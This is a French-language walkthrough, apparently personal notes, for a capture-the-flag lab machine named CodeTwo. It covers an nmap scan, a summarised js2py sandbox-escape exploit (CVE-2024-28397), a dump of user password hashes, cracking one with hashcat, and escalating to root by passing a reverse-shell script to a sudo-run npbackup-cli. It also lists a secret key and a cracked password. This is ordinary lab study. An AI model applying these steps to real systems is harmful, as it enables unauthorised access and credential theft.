
sudo nmap -sVC -p- 10.10.11.82 --open  
[sudo] Mot de passe de alice : 
Désolé, essayez de nouveau.
[sudo] Mot de passe de alice : 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 16:30 CEST
Nmap scan report for 10.10.11.82
Host is up (0.063s latency).
Not shown: 64119 closed tcp ports (reset), 1414 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.31 seconds

Jme suis créé un compte : 

CodeTwo
lundi 1 septembre 2025 16:43
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S3cr3tK3yC0d3Tw0

En gros j'ai trouvé une exploit : https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-
Escape/blob/main/analysis_en.md

Dans cette exploit, le gars explique que le module python va traduire le code java en python. Cette 
fonction dans python3 la focntion keys() retourne un dic_keys. Cette fonction est alors convertie en 
PyObjectWrapper ce qui nous permet d'avoir le RCE. 

Ce texte est une analyse de sécurité d'une bibliothèque Python appelée js2py, qui permet 
d’exécuter du code JavaScript en Python en le traduisant automatiquement. L’objectif final de 
l’auteur ici est de trouver une faille pour contourner des restrictions de sécurité et obtenir une 
PyObjectWrapper, qui donne un accès direct à des objets Python sous-jacents, ce qui peut 
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PyObjectWrapper, qui donne un accès direct à des objets Python sous-jacents, ce qui peut 
potentiellement mener à une exécution de code arbitraire (RCE - Remote Code Execution).
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sqlite3 users.db "SELECT * FROM user;"
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|test|900150983cd24fb0d6963f7d28e17f72

hashcat -a 0 -m 0 "649c9d65a206a75f5abe509fe128bce5" /usr/share/wordlists/rockyou.txt.gz
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Sweetangelbabylove

On peut se connecter en ssh : 
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On va changer le chemin dans le fichier conf pour lancer un shell  : 

On va créer un fichier exploit.sh avec un revshell : 

sudo /usr/local/bin/npbackup-cli -c npbackup.conf --external-backend-binary exploit.sh -f

Bon ce que j'ai fait c'est que j'ai recréer un fichier .conf et j'ai changé le path en /root

Ce qui m'a donnée ça

   MACHINES Page 7    



   MACHINES Page 8    



   MACHINES Page 9    


